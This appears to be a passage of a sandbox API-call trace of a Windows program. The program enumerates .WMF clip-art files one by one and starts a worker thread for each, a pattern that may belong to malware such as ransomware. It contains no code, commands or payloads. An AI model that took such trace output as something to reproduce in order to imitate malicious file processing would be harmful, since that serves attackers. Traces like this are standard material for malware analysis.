	[0191.706] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x101c
	[0191.712] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.712] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1
	[0191.712] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020
	[0191.714] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.715] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1
	[0191.715] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024
	[0191.717] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.718] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1
	[0191.718] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028
	[0191.721] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.722] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1
	[0191.722] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c
	[0191.726] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.726] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1
	[0191.727] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030
	[0192.043] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.044] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1
	[0192.044] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034
	[0192.046] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.047] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1
	[0192.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038
	[0192.050] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.050] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1
	[0192.050] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c
	[0192.055] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.055] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1
	[0192.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040
	[0192.059] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.059] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1
	[0192.060] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044
	[0192.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.064] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1
	[0192.064] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048
	[0192.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.068] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1
	[0192.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c
	[0192.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.072] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1
	[0192.072] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1050
	[0192.076] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.077] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1
	[0192.077] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054
	[0192.260] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.261] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1
	[0192.261] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058
	[0192.263] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.264] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1
	[0192.264] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x105c
	[0192.266] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.267] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1
	[0192.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060
	[0192.269] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.270] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1
	[0192.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064
	[0192.272] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.273] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1
	[0192.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1068
	[0192.276] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.276] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1
	[0192.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x106c
	[0192.279] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.279] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1
	[0192.279] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070
	[0192.283] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.284] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1
	[0192.284] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074
	[0192.286] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.287] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1
	[0192.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1078
	[0192.289] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.290] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1
	[0192.290] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x107c
	[0192.293] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.294] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1
	[0192.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080
	[0192.515] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.516] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1
	[0192.516] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1084
	[0192.519] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
